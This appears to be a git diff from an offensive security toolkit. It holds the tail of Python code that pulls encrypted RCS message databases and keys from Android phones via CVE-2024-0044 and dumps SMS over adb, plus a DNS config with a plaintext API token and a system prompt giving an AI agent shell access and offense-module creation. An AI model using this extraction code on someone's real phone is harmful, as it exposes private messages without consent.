|
|
||||||
self.cleanup_cve_2024_0044(serial, victim)
|
|
||||||
return {
|
|
||||||
'success': True,
|
|
||||||
'extraction_method': 'CVE-2024-0044 (app UID)',
|
|
||||||
'output_dir': output_dir,
|
|
||||||
'pull_command': f'adb pull {output_dir}/ ./extracted_rcs/',
|
|
||||||
'encrypted': True,
|
|
||||||
'message': 'bugle_db + key material extracted via CVE-2024-0044',
|
|
||||||
}
|
|
||||||
results['cve_2024_0044_error'] = r.get('error', '')
|
|
||||||
|
|
||||||
# Method 3: Content providers only (SMS/MMS, NOT RCS)
|
|
||||||
results['methods_tried'].append('content_providers')
|
|
||||||
sms_output = self._shell(serial,
|
|
||||||
'content query --uri content://sms/ --projection _id:address:body:date:type --sort "date DESC"')
|
|
||||||
sms_count = sms_output['output'].count('Row:') if sms_output['returncode'] == 0 else 0
|
|
||||||
|
|
||||||
return {
|
|
||||||
'success': False,
|
|
||||||
'extraction_method': 'none — all exploit paths exhausted',
|
|
||||||
'methods_tried': results['methods_tried'],
|
|
||||||
'errors': {k: v for k, v in results.items() if k.endswith('_error')},
|
|
||||||
'fallback': {
|
|
||||||
'sms_mms_available': sms_count > 0,
|
|
||||||
'sms_count': sms_count,
|
|
||||||
'note': 'Content providers give SMS/MMS only — RCS is in encrypted bugle_db. '
|
|
||||||
'Need exploit APK or unlocked bootloader for RCS extraction.',
|
|
||||||
},
|
|
||||||
'patch': patch,
|
|
||||||
'sdk': sdk,
|
|
||||||
}
|
|
||||||
|
|
||||||
# ── Screen & Input Control (Android 9+) ──────────────────────────
|
# ── Screen & Input Control (Android 9+) ──────────────────────────
|
||||||
|
|
||||||
def screen_capture(self, serial):
|
def screen_capture(self, serial):
|
||||||
|
|||||||
11
data/android_protect/58051FDCG004EJ/honeypot_config.json
Normal file
11
data/android_protect/58051FDCG004EJ/honeypot_config.json
Normal file
@ -0,0 +1,11 @@
|
|||||||
|
{
|
||||||
|
"active": true,
|
||||||
|
"tier": 2,
|
||||||
|
"protections": {
|
||||||
|
"private_dns": "adguard",
|
||||||
|
"ad_opt_out": true,
|
||||||
|
"location_accuracy": true,
|
||||||
|
"diagnostics": true
|
||||||
|
},
|
||||||
|
"activated_at": "2026-02-21T02:55:28.439016"
|
||||||
|
}
|
||||||
BIN
data/captures/capture_20260217_145129.pcap
Normal file
BIN
data/captures/capture_20260217_145129.pcap
Normal file
Binary file not shown.
BIN
data/captures/capture_20260217_145237.pcap
Normal file
BIN
data/captures/capture_20260217_145237.pcap
Normal file
Binary file not shown.
BIN
data/captures/capture_20260220_045252.pcap
Normal file
BIN
data/captures/capture_20260220_045252.pcap
Normal file
Binary file not shown.
19
data/certs/autarch.crt
Normal file
19
data/certs/autarch.crt
Normal file
@ -0,0 +1,19 @@
|
|||||||
|
-----BEGIN CERTIFICATE-----
|
||||||
|
MIIDKTCCAhGgAwIBAgIUfA3Sef+54+/zn/axqGK99cxqyYkwDQYJKoZIhvcNAQEL
|
||||||
|
BQAwJDEQMA4GA1UEAwwHQVVUQVJDSDEQMA4GA1UECgwHZGFya0hhbDAeFw0yNjAy
|
||||||
|
MjExMTAyMTVaFw0zNjAyMTkxMTAyMTVaMCQxEDAOBgNVBAMMB0FVVEFSQ0gxEDAO
|
||||||
|
BgNVBAoMB2RhcmtIYWwwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQC5
|
||||||
|
2L7xG2kZLj8u1aA0qFd9Xohxa0XG1K0xhTkWJmNOjgRdRO9RejWhKvpa2DJNTO9L
|
||||||
|
LyEO8bRH56zKcgFofAJRe4GjCSk3OefBcuCKHBWN+hB1YRu+7spaoTxZ1m5dRP1o
|
||||||
|
DvsRe/nSA69xGsEbX8Zuc/ROCsaV4LACOBYSMQkOKTWWpTu2cLJyuW/sqHn5REzp
|
||||||
|
Bndw1sp5p+TCc2+Pf+dCEx1V2lXCt2sWC5jTHvPzwGgy9jNXi+CtKMJRlGrHUmBW
|
||||||
|
a9woL3caOdAp1i9t6VmXeRO3PBYsByeyuGJoREVRThHu+ZhzQkz3oHGFO5YJbu/o
|
||||||
|
OKWwWJ9mQUl6jF1uwNTtAgMBAAGjUzBRMB0GA1UdDgQWBBS3bxJnHddd56q+WltD
|
||||||
|
VsbewxdDVDAfBgNVHSMEGDAWgBS3bxJnHddd56q+WltDVsbewxdDVDAPBgNVHRMB
|
||||||
|
Af8EBTADAQH/MA0GCSqGSIb3DQEBCwUAA4IBAQCceD5savXA4dhGUss0D8DPIvSg
|
||||||
|
DS3mjnJtaD7SFqfDmyqM8W9ocQK7yrzdQiywZT+dI8dCnVm1hB5e5l3lTZwTLU41
|
||||||
|
XLq4WdHBeimwWIuZl+pKKvXcQUHUkK4epJFrt6mj0onExNSDNI4i7Xk+XnMVIu35
|
||||||
|
VrF6IhLrD2AznQyOqY0WeLGmoXe3FT5caUiTm5Kg28xTJC9m7hDOFE34d0Aqb+U1
|
||||||
|
U4GFlmXor+MdNKYTEJJy3pslxEZOiRNiiLKWjecYrcKfSk0LY/8TkqVB44pZBQZB
|
||||||
|
6naQfFuuxDtEa6bHM0q+P/6HM35tpEu6TEJ1eU/yRrejhySFIHfKTjy/WXsm
|
||||||
|
-----END CERTIFICATE-----
|
||||||
10
data/dns/config.json
Normal file
10
data/dns/config.json
Normal file
@ -0,0 +1,10 @@
|
|||||||
|
{
|
||||||
|
"listen_dns": "10.0.0.56:53",
|
||||||
|
"listen_api": "127.0.0.1:5380",
|
||||||
|
"api_token": "5ed79350fed2490d2aca6f3b29776365",
|
||||||
|
"upstream": [],
|
||||||
|
"cache_ttl": 300,
|
||||||
|
"zones_dir": "C:\\she\\autarch\\data\\dns\\zones",
|
||||||
|
"dnssec_keys_dir": "C:\\she\\autarch\\data\\dns\\keys",
|
||||||
|
"log_queries": true
|
||||||
|
}
|
||||||
53
data/dns/zones/autarch.local.json
Normal file
53
data/dns/zones/autarch.local.json
Normal file
@ -0,0 +1,53 @@
|
|||||||
|
{
|
||||||
|
"domain": "autarch.local",
|
||||||
|
"soa": {
|
||||||
|
"primary_ns": "ns1.autarch.local",
|
||||||
|
"admin_email": "admin.autarch.local",
|
||||||
|
"serial": 1772537115,
|
||||||
|
"refresh": 3600,
|
||||||
|
"retry": 600,
|
||||||
|
"expire": 86400,
|
||||||
|
"min_ttl": 300
|
||||||
|
},
|
||||||
|
"records": [
|
||||||
|
{
|
||||||
|
"id": "ns1",
|
||||||
|
"type": "NS",
|
||||||
|
"name": "autarch.local.",
|
||||||
|
"value": "ns1.autarch.local.",
|
||||||
|
"ttl": 3600
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"id": "mx1",
|
||||||
|
"type": "MX",
|
||||||
|
"name": "autarch.local.",
|
||||||
|
"value": "mx.autarch.local.",
|
||||||
|
"ttl": 3600,
|
||||||
|
"priority": 10
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"id": "spf1",
|
||||||
|
"type": "TXT",
|
||||||
|
"name": "autarch.local.",
|
||||||
|
"value": "v=spf1 ip4:127.0.0.1 -all",
|
||||||
|
"ttl": 3600
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"id": "dmarc1",
|
||||||
|
"type": "TXT",
|
||||||
|
"name": "_dmarc.autarch.local.",
|
||||||
|
"value": "v=DMARC1; p=none; rua=mailto:dmarc@autarch.local",
|
||||||
|
"ttl": 3600
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"id": "r1772537722879235900",
|
||||||
|
"type": "A",
|
||||||
|
"name": "https://autarch.local",
|
||||||
|
"value": "10.0.0.56:8181",
|
||||||
|
"ttl": 300
|
||||||
|
}
|
||||||
|
],
|
||||||
|
"dnssec": true,
|
||||||
|
"created_at": "2026-03-03T11:25:07Z",
|
||||||
|
"updated_at": "2026-03-03T12:24:00Z"
|
||||||
|
}
|
||||||
2
data/exports/osint_testuser_20260214_041834.csv
Normal file
2
data/exports/osint_testuser_20260214_041834.csv
Normal file
@ -0,0 +1,2 @@
|
|||||||
|
Site,URL,Category,Status,Confidence
|
||||||
|
GitHub,https://github.com/test,,good,85
|
||||||
|
13
data/exports/osint_testuser_20260214_041834.json
Normal file
13
data/exports/osint_testuser_20260214_041834.json
Normal file
@ -0,0 +1,13 @@
|
|||||||
|
{
|
||||||
|
"query": "testuser",
|
||||||
|
"exported": "2026-02-14T04:18:34.669640",
|
||||||
|
"total_results": 1,
|
||||||
|
"results": [
|
||||||
|
{
|
||||||
|
"name": "GitHub",
|
||||||
|
"url": "https://github.com/test",
|
||||||
|
"status": "good",
|
||||||
|
"rate": 85
|
||||||
|
}
|
||||||
|
]
|
||||||
|
}
|
||||||
98
data/hal_system_prompt.txt
Normal file
98
data/hal_system_prompt.txt
Normal file
@ -0,0 +1,98 @@
|
|||||||
|
You are Hal, the AI agent powering Project AUTARCH — an autonomous security platform built by darkHal Security Group.
|
||||||
|
|
||||||
|
## Your Capabilities
|
||||||
|
You can read files, write files, execute shell commands, search the codebase, and create new AUTARCH modules on demand. When a user asks you to build a tool or module, you build it.
|
||||||
|
|
||||||
|
## AUTARCH Codebase Structure
|
||||||
|
- `modules/` — Plugin modules (Python files). Each one is a standalone tool.
|
||||||
|
- `core/` — Framework internals (llm.py, agent.py, tools.py, config.py, wireshark.py, etc.)
|
||||||
|
- `web/` — Flask web dashboard (routes/, templates/, static/)
|
||||||
|
- `data/` — Databases, configs, JSON files
|
||||||
|
- `models/` — LLM model files (GGUF)
|
||||||
|
|
||||||
|
## Module Categories
|
||||||
|
| Category | Color | Purpose |
|
||||||
|
|----------|-------|---------|
|
||||||
|
| defense | Blue | Security hardening, monitoring, firewalls |
|
||||||
|
| offense | Red | Penetration testing, exploitation |
|
||||||
|
| counter | Purple | Counter-intelligence, threat response |
|
||||||
|
| analyze | Cyan | Analysis, forensics, packet inspection |
|
||||||
|
| osint | Green | Open source intelligence gathering |
|
||||||
|
| simulate | Yellow | Attack simulation, red team exercises |
|
||||||
|
|
||||||
|
## How to Create a Module
|
||||||
|
Every module in `modules/` MUST have these attributes and a `run()` function:
|
||||||
|
|
||||||
|
```python
|
||||||
|
"""
|
||||||
|
Module description docstring
|
||||||
|
"""
|
||||||
|
import os
|
||||||
|
import sys
|
||||||
|
import subprocess
|
||||||
|
from pathlib import Path
|
||||||
|
|
||||||
|
# Module metadata — REQUIRED
|
||||||
|
DESCRIPTION = "What this module does"
|
||||||
|
AUTHOR = "darkHal"
|
||||||
|
VERSION = "1.0"
|
||||||
|
CATEGORY = "defense" # One of: defense, offense, counter, analyze, osint, simulate
|
||||||
|
|
||||||
|
sys.path.insert(0, str(Path(__file__).parent.parent))
|
||||||
|
from core.banner import Colors, clear_screen, display_banner
|
||||||
|
|
||||||
|
|
||||||
|
class ModuleClassName:
|
||||||
|
"""Main class for this module."""
|
||||||
|
|
||||||
|
def print_status(self, message, status="info"):
|
||||||
|
colors = {"info": Colors.CYAN, "success": Colors.GREEN, "warning": Colors.YELLOW, "error": Colors.RED}
|
||||||
|
symbols = {"info": "*", "success": "+", "warning": "!", "error": "X"}
|
||||||
|
print(f"{colors.get(status, Colors.WHITE)}[{symbols.get(status, '*')}] {message}{Colors.RESET}")
|
||||||
|
|
||||||
|
def run_cmd(self, cmd, timeout=30):
|
||||||
|
try:
|
||||||
|
r = subprocess.run(cmd, shell=True, capture_output=True, text=True, timeout=timeout)
|
||||||
|
return r.returncode == 0, r.stdout.strip()
|
||||||
|
except Exception as e:
|
||||||
|
return False, str(e)
|
||||||
|
|
||||||
|
# Add your methods here...
|
||||||
|
|
||||||
|
|
||||||
|
def run():
|
||||||
|
"""Entry point for CLI mode."""
|
||||||
|
mod = ModuleClassName()
|
||||||
|
# Interactive menu or direct execution
|
||||||
|
```
|
||||||
|
|
||||||
|
## Important Rules
|
||||||
|
1. Use the `create_module` tool to write modules — it validates and saves them automatically
|
||||||
|
2. Always include the metadata: DESCRIPTION, AUTHOR, VERSION, CATEGORY
|
||||||
|
3. Always include a `run()` function
|
||||||
|
4. Use `subprocess.run()` for system commands — support both Windows (PowerShell/netsh) and Linux (bash)
|
||||||
|
5. Import from `core.banner` for Colors
|
||||||
|
6. Module filenames should be lowercase with underscores (e.g., `port_scanner.py`)
|
||||||
|
7. Study existing modules with `read_file` if you need to understand patterns
|
||||||
|
8. The web dashboard discovers modules automatically from the `modules/` directory
|
||||||
|
|
||||||
|
## Platform
|
||||||
|
This system runs on Windows. Use PowerShell commands where appropriate, but also support Linux fallbacks.
|
||||||
|
|
||||||
|
## Existing Modules (for reference)
|
||||||
|
- defender.py — System hardening checks (CATEGORY: defense)
|
||||||
|
- defender_windows.py — Windows-native security checks (CATEGORY: defense)
|
||||||
|
- defender_monitor.py — Real-time threat monitoring (CATEGORY: defense)
|
||||||
|
- recon.py — Network reconnaissance (CATEGORY: offense)
|
||||||
|
- counter.py — Counter-intelligence tools (CATEGORY: counter)
|
||||||
|
- adultscan.py — Adult content scanner (CATEGORY: analyze)
|
||||||
|
- agent_hal.py — AI security automation (CATEGORY: core)
|
||||||
|
- wireshark.py — Packet analysis (CATEGORY: analyze)
|
||||||
|
- hardware_local.py — Hardware interaction (CATEGORY: hardware)
|
||||||
|
|
||||||
|
## How You Should Respond
|
||||||
|
- For simple questions: answer directly
|
||||||
|
- For module creation requests: use the create_module tool
|
||||||
|
- For system queries: use the shell tool
|
||||||
|
- For code exploration: use read_file and search_files
|
||||||
|
- Always explain what you're doing and why
|
||||||
129
data/pentest_sessions/10_0_0_56_20260214_010220.json
Normal file
129
data/pentest_sessions/10_0_0_56_20260214_010220.json
Normal file
@ -0,0 +1,129 @@
|
|||||||
|
{
|
||||||
|
"session_id": "10_0_0_56_20260214_010220",
|
||||||
|
"target": "10.0.0.56",
|
||||||
|
"state": "completed",
|
||||||
|
"created_at": "2026-02-14T01:02:20.746609",
|
||||||
|
"updated_at": "2026-02-14T01:12:20.951316",
|
||||||
|
"notes": "",
|
||||||
|
"step_count": 0,
|
||||||
|
"tree": {
|
||||||
|
"target": "10.0.0.56",
|
||||||
|
"created_at": "2026-02-14T01:02:20.746597",
|
||||||
|
"updated_at": "2026-02-14T01:02:20.746742",
|
||||||
|
"root_nodes": [
|
||||||
|
"e0d00dbc",
|
||||||
|
"cf120ead",
|
||||||
|
"6f4a664c",
|
||||||
|
"814f0376",
|
||||||
|
"5b602881",
|
||||||
|
"4d2e70e8"
|
||||||
|
],
|
||||||
|
"nodes": {
|
||||||
|
"e0d00dbc": {
|
||||||
|
"id": "e0d00dbc",
|
||||||
|
"label": "Reconnaissance",
|
||||||
|
"node_type": "reconnaissance",
|
||||||
|
"status": "todo",
|
||||||
|
"parent_id": null,
|
||||||
|
"children": [],
|
||||||
|
"details": "Information gathering and target enumeration",
|
||||||
|
"tool_output": null,
|
||||||
|
"findings": [],
|
||||||
|
"priority": 1,
|
||||||
|
"created_at": "2026-02-14T01:02:20.746668",
|
||||||
|
"updated_at": "2026-02-14T01:02:20.746668"
|
||||||
|
},
|
||||||
|
"cf120ead": {
|
||||||
|
"id": "cf120ead",
|
||||||
|
"label": "Initial Access",
|
||||||
|
"node_type": "initial_access",
|
||||||
|
"status": "todo",
|
||||||
|
"parent_id": null,
|
||||||
|
"children": [],
|
||||||
|
"details": "Gaining initial foothold on target",
|
||||||
|
"tool_output": null,
|
||||||
|
"findings": [],
|
||||||
|
"priority": 2,
|
||||||
|
"created_at": "2026-02-14T01:02:20.746685",
|
||||||
|
"updated_at": "2026-02-14T01:02:20.746685"
|
||||||
|
},
|
||||||
|
"6f4a664c": {
|
||||||
|
"id": "6f4a664c",
|
||||||
|
"label": "Privilege Escalation",
|
||||||
|
"node_type": "privilege_escalation",
|
||||||
|
"status": "todo",
|
||||||
|
"parent_id": null,
|
||||||
|
"children": [],
|
||||||
|
"details": "Escalating from initial access to higher privileges",
|
||||||
|
"tool_output": null,
|
||||||
|
"findings": [],
|
||||||
|
"priority": 3,
|
||||||
|
"created_at": "2026-02-14T01:02:20.746699",
|
||||||
|
"updated_at": "2026-02-14T01:02:20.746699"
|
||||||
|
},
|
||||||
|
"814f0376": {
|
||||||
|
"id": "814f0376",
|
||||||
|
"label": "Lateral Movement",
|
||||||
|
"node_type": "lateral_movement",
|
||||||
|
"status": "todo",
|
||||||
|
"parent_id": null,
|
||||||
|
"children": [],
|
||||||
|
"details": "Moving to other systems in the network",
|
||||||
|
"tool_output": null,
|
||||||
|
"findings": [],
|
||||||
|
"priority": 4,
|
||||||
|
"created_at": "2026-02-14T01:02:20.746711",
|
||||||
|
"updated_at": "2026-02-14T01:02:20.746711"
|
||||||
|
},
|
||||||
|
"5b602881": {
|
||||||
|
"id": "5b602881",
|
||||||
|
"label": "Credential Access",
|
||||||
|
"node_type": "credential_access",
|
||||||
|
"status": "todo",
|
||||||
|
"parent_id": null,
|
||||||
|
"children": [],
|
||||||
|
"details": "Obtaining credentials and secrets",
|
||||||
|
"tool_output": null,
|
||||||
|
"findings": [],
|
||||||
|
"priority": 3,
|
||||||
|
"created_at": "2026-02-14T01:02:20.746726",
|
||||||
|
"updated_at": "2026-02-14T01:02:20.746726"
|
||||||
|
},
|
||||||
|
"4d2e70e8": {
|
||||||
|
"id": "4d2e70e8",
|
||||||
|
"label": "Persistence",
|
||||||
|
"node_type": "persistence",
|
||||||
|
"status": "todo",
|
||||||
|
"parent_id": null,
|
||||||
|
"children": [],
|
||||||
|
"details": "Maintaining access to compromised systems",
|
||||||
|
"tool_output": null,
|
||||||
|
"findings": [],
|
||||||
|
"priority": 5,
|
||||||
|
"created_at": "2026-02-14T01:02:20.746739",
|
||||||
|
"updated_at": "2026-02-14T01:02:20.746739"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"events": [
|
||||||
|
{
|
||||||
|
"timestamp": "2026-02-14T01:02:20.746747",
|
||||||
|
"event_type": "state_change",
|
||||||
|
"data": {
|
||||||
|
"from": "idle",
|
||||||
|
"to": "running"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"timestamp": "2026-02-14T01:12:20.951316",
|
||||||
|
"event_type": "state_change",
|
||||||
|
"data": {
|
||||||
|
"from": "running",
|
||||||
|
"to": "completed",
|
||||||
|
"summary": ""
|
||||||
|
}
|
||||||
|
}
|
||||||
|
],
|
||||||
|
"findings": [],
|
||||||
|
"pipeline_history": []
|
||||||
|
}
|
||||||
120
data/pentest_sessions/192_168_1_100_20260127_202421.json
Normal file
120
data/pentest_sessions/192_168_1_100_20260127_202421.json
Normal file
@ -0,0 +1,120 @@
|
|||||||
|
{
|
||||||
|
"session_id": "192_168_1_100_20260127_202421",
|
||||||
|
"target": "192.168.1.100",
|
||||||
|
"state": "running",
|
||||||
|
"created_at": "2026-01-27T20:24:21.604010",
|
||||||
|
"updated_at": "2026-01-27T20:24:21.604098",
|
||||||
|
"notes": "",
|
||||||
|
"step_count": 0,
|
||||||
|
"tree": {
|
||||||
|
"target": "192.168.1.100",
|
||||||
|
"created_at": "2026-01-27T20:24:21.604003",
|
||||||
|
"updated_at": "2026-01-27T20:24:21.604091",
|
||||||
|
"root_nodes": [
|
||||||
|
"4be13ed9",
|
||||||
|
"8dc38740",
|
||||||
|
"22ee2768",
|
||||||
|
"2c45477f",
|
||||||
|
"6f793ae8",
|
||||||
|
"778fc896"
|
||||||
|
],
|
||||||
|
"nodes": {
|
||||||
|
"4be13ed9": {
|
||||||
|
"id": "4be13ed9",
|
||||||
|
"label": "Reconnaissance",
|
||||||
|
"node_type": "reconnaissance",
|
||||||
|
"status": "todo",
|
||||||
|
"parent_id": null,
|
||||||
|
"children": [],
|
||||||
|
"details": "Information gathering and target enumeration",
|
||||||
|
"tool_output": null,
|
||||||
|
"findings": [],
|
||||||
|
"priority": 1,
|
||||||
|
"created_at": "2026-01-27T20:24:21.604032",
|
||||||
|
"updated_at": "2026-01-27T20:24:21.604032"
|
||||||
|
},
|
||||||
|
"8dc38740": {
|
||||||
|
"id": "8dc38740",
|
||||||
|
"label": "Initial Access",
|
||||||
|
"node_type": "initial_access",
|
||||||
|
"status": "todo",
|
||||||
|
"parent_id": null,
|
||||||
|
"children": [],
|
||||||
|
"details": "Gaining initial foothold on target",
|
||||||
|
"tool_output": null,
|
||||||
|
"findings": [],
|
||||||
|
"priority": 2,
|
||||||
|
"created_at": "2026-01-27T20:24:21.604044",
|
||||||
|
"updated_at": "2026-01-27T20:24:21.604044"
|
||||||
|
},
|
||||||
|
"22ee2768": {
|
||||||
|
"id": "22ee2768",
|
||||||
|
"label": "Privilege Escalation",
|
||||||
|
"node_type": "privilege_escalation",
|
||||||
|
"status": "todo",
|
||||||
|
"parent_id": null,
|
||||||
|
"children": [],
|
||||||
|
"details": "Escalating from initial access to higher privileges",
|
||||||
|
"tool_output": null,
|
||||||
|
"findings": [],
|
||||||
|
"priority": 3,
|
||||||
|
"created_at": "2026-01-27T20:24:21.604056",
|
||||||
|
"updated_at": "2026-01-27T20:24:21.604056"
|
||||||
|
},
|
||||||
|
"2c45477f": {
|
||||||
|
"id": "2c45477f",
|
||||||
|
"label": "Lateral Movement",
|
||||||
|
"node_type": "lateral_movement",
|
||||||
|
"status": "todo",
|
||||||
|
"parent_id": null,
|
||||||
|
"children": [],
|
||||||
|
"details": "Moving to other systems in the network",
|
||||||
|
"tool_output": null,
|
||||||
|
"findings": [],
|
||||||
|
"priority": 4,
|
||||||
|
"created_at": "2026-01-27T20:24:21.604066",
|
||||||
|
"updated_at": "2026-01-27T20:24:21.604066"
|
||||||
|
},
|
||||||
|
"6f793ae8": {
|
||||||
|
"id": "6f793ae8",
|
||||||
|
"label": "Credential Access",
|
||||||
|
"node_type": "credential_access",
|
||||||
|
"status": "todo",
|
||||||
|
"parent_id": null,
|
||||||
|
"children": [],
|
||||||
|
"details": "Obtaining credentials and secrets",
|
||||||
|
"tool_output": null,
|
||||||
|
"findings": [],
|
||||||
|
"priority": 3,
|
||||||
|
"created_at": "2026-01-27T20:24:21.604077",
|
||||||
|
"updated_at": "2026-01-27T20:24:21.604077"
|
||||||
|
},
|
||||||
|
"778fc896": {
|
||||||
|
"id": "778fc896",
|
||||||
|
"label": "Persistence",
|
||||||
|
"node_type": "persistence",
|
||||||
|
"status": "todo",
|
||||||
|
"parent_id": null,
|
||||||
|
"children": [],
|
||||||
|
"details": "Maintaining access to compromised systems",
|
||||||
|
"tool_output": null,
|
||||||
|
"findings": [],
|
||||||
|
"priority": 5,
|
||||||
|
"created_at": "2026-01-27T20:24:21.604088",
|
||||||
|
"updated_at": "2026-01-27T20:24:21.604088"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"events": [
|
||||||
|
{
|
||||||
|
"timestamp": "2026-01-27T20:24:21.604098",
|
||||||
|
"event_type": "state_change",
|
||||||
|
"data": {
|
||||||
|
"from": "idle",
|
||||||
|
"to": "running"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
],
|
||||||
|
"findings": [],
|
||||||
|
"pipeline_history": []
|
||||||
|
}
|
||||||
120
data/pentest_sessions/192_168_50_78_20260130_133833.json
Normal file
120
data/pentest_sessions/192_168_50_78_20260130_133833.json
Normal file
@ -0,0 +1,120 @@
|
|||||||
|
{
|
||||||
|
"session_id": "192_168_50_78_20260130_133833",
|
||||||
|
"target": "192.168.50.78",
|
||||||
|
"state": "running",
|
||||||
|
"created_at": "2026-01-30T13:38:33.830336",
|
||||||
|
"updated_at": "2026-01-30T13:38:33.830464",
|
||||||
|
"notes": "",
|
||||||
|
"step_count": 0,
|
||||||
|
"tree": {
|
||||||
|
"target": "192.168.50.78",
|
||||||
|
"created_at": "2026-01-30T13:38:33.830323",
|
||||||
|
"updated_at": "2026-01-30T13:38:33.830460",
|
||||||
|
"root_nodes": [
|
||||||
|
"e4c40c28",
|
||||||
|
"ddd63828",
|
||||||
|
"b3f2634d",
|
||||||
|
"9c162c78",
|
||||||
|
"aa40d5a3",
|
||||||
|
"0c50a23d"
|
||||||
|
],
|
||||||
|
"nodes": {
|
||||||
|
"e4c40c28": {
|
||||||
|
"id": "e4c40c28",
|
||||||
|
"label": "Reconnaissance",
|
||||||
|
"node_type": "reconnaissance",
|
||||||
|
"status": "todo",
|
||||||
|
"parent_id": null,
|
||||||
|
"children": [],
|
||||||
|
"details": "Information gathering and target enumeration",
|
||||||
|
"tool_output": null,
|
||||||
|
"findings": [],
|
||||||
|
"priority": 1,
|
||||||
|
"created_at": "2026-01-30T13:38:33.830390",
|
||||||
|
"updated_at": "2026-01-30T13:38:33.830390"
|
||||||
|
},
|
||||||
|
"ddd63828": {
|
||||||
|
"id": "ddd63828",
|
||||||
|
"label": "Initial Access",
|
||||||
|
"node_type": "initial_access",
|
||||||
|
"status": "todo",
|
||||||
|
"parent_id": null,
|
||||||
|
"children": [],
|
||||||
|
"details": "Gaining initial foothold on target",
|
||||||
|
"tool_output": null,
|
||||||
|
"findings": [],
|
||||||
|
"priority": 2,
|
||||||
|
"created_at": "2026-01-30T13:38:33.830408",
|
||||||
|
"updated_at": "2026-01-30T13:38:33.830408"
|
||||||
|
},
|
||||||
|
"b3f2634d": {
|
||||||
|
"id": "b3f2634d",
|
||||||
|
"label": "Privilege Escalation",
|
||||||
|
"node_type": "privilege_escalation",
|
||||||
|
"status": "todo",
|
||||||
|
"parent_id": null,
|
||||||
|
"children": [],
|
||||||
|
"details": "Escalating from initial access to higher privileges",
|
||||||
|
"tool_output": null,
|
||||||
|
"findings": [],
|
||||||
|
"priority": 3,
|
||||||
|
"created_at": "2026-01-30T13:38:33.830421",
|
||||||
|
"updated_at": "2026-01-30T13:38:33.830421"
|
||||||
|
},
|
||||||
|
"9c162c78": {
|
||||||
|
"id": "9c162c78",
|
||||||
|
"label": "Lateral Movement",
|
||||||
|
"node_type": "lateral_movement",
|
||||||
|
"status": "todo",
|
||||||
|
"parent_id": null,
|
||||||
|
"children": [],
|
||||||
|
"details": "Moving to other systems in the network",
|
||||||
|
"tool_output": null,
|
||||||
|
"findings": [],
|
||||||
|
"priority": 4,
|
||||||
|
"created_at": "2026-01-30T13:38:33.830433",
|
||||||
|
"updated_at": "2026-01-30T13:38:33.830433"
|
||||||
|
},
|
||||||
|
"aa40d5a3": {
|
||||||
|
"id": "aa40d5a3",
|
||||||
|
"label": "Credential Access",
|
||||||
|
"node_type": "credential_access",
|
||||||
|
"status": "todo",
|
||||||
|
"parent_id": null,
|
||||||
|
"children": [],
|
||||||
|
"details": "Obtaining credentials and secrets",
|
||||||
|
"tool_output": null,
|
||||||
|
"findings": [],
|
||||||
|
"priority": 3,
|
||||||
|
"created_at": "2026-01-30T13:38:33.830445",
|
||||||
|
"updated_at": "2026-01-30T13:38:33.830445"
|
||||||
|
},
|
||||||
|
"0c50a23d": {
|
||||||
|
"id": "0c50a23d",
|
||||||
|
"label": "Persistence",
|
||||||
|
"node_type": "persistence",
|
||||||
|
"status": "todo",
|
||||||
|
"parent_id": null,
|
||||||
|
"children": [],
|
||||||
|
"details": "Maintaining access to compromised systems",
|
||||||
|
"tool_output": null,
|
||||||
|
"findings": [],
|
||||||
|
"priority": 5,
|
||||||
|
"created_at": "2026-01-30T13:38:33.830457",
|
||||||
|
"updated_at": "2026-01-30T13:38:33.830457"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"events": [
|
||||||
|
{
|
||||||
|
"timestamp": "2026-01-30T13:38:33.830464",
|
||||||
|
"event_type": "state_change",
|
||||||
|
"data": {
|
||||||
|
"from": "idle",
|
||||||
|
"to": "running"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
],
|
||||||
|
"findings": [],
|
||||||
|
"pipeline_history": []
|
||||||
|
}
|
||||||
120
data/pentest_sessions/example_com_20260128_192244.json
Normal file
120
data/pentest_sessions/example_com_20260128_192244.json
Normal file
@ -0,0 +1,120 @@
|
|||||||
|
{
|
||||||
|
"session_id": "example_com_20260128_192244",
|
||||||
|
"target": "example.com",
|
||||||
|
"state": "running",
|
||||||
|
"created_at": "2026-01-28T19:22:44.670292",
|
||||||
|
"updated_at": "2026-01-28T19:22:44.670428",
|
||||||
|
"notes": "test",
|
||||||
|
"step_count": 0,
|
||||||
|
"tree": {
|
||||||
|
"target": "example.com",
|
||||||
|
"created_at": "2026-01-28T19:22:44.670279",
|
||||||
|
"updated_at": "2026-01-28T19:22:44.670423",
|
||||||
|
"root_nodes": [
|
||||||
|
"466dcf04",
|
||||||
|
"55991daa",
|
||||||
|
"e3209082",
|
||||||
|
"af036f87",
|
||||||
|
"633c0eeb",
|
||||||
|
"8584f7fc"
|
||||||
|
],
|
||||||
|
"nodes": {
|
||||||
|
"466dcf04": {
|
||||||
|
"id": "466dcf04",
|
||||||
|
"label": "Reconnaissance",
|
||||||
|
"node_type": "reconnaissance",
|
||||||
|
"status": "todo",
|
||||||
|
"parent_id": null,
|
||||||
|
"children": [],
|
||||||
|
"details": "Information gathering and target enumeration",
|
||||||
|
"tool_output": null,
|
||||||
|
"findings": [],
|
||||||
|
"priority": 1,
|
||||||
|
"created_at": "2026-01-28T19:22:44.670353",
|
||||||
|
"updated_at": "2026-01-28T19:22:44.670353"
|
||||||
|
},
|
||||||
|
"55991daa": {
|
||||||
|
"id": "55991daa",
|
||||||
|
"label": "Initial Access",
|
||||||
|
"node_type": "initial_access",
|
||||||
|
"status": "todo",
|
||||||
|
"parent_id": null,
|
||||||
|
"children": [],
|
||||||
|
"details": "Gaining initial foothold on target",
|
||||||
|
"tool_output": null,
|
||||||
|
"findings": [],
|
||||||
|
"priority": 2,
|
||||||
|
"created_at": "2026-01-28T19:22:44.670371",
|
||||||
|
"updated_at": "2026-01-28T19:22:44.670371"
|
||||||
|
},
|
||||||
|
"e3209082": {
|
||||||
|
"id": "e3209082",
|
||||||
|
"label": "Privilege Escalation",
|
||||||
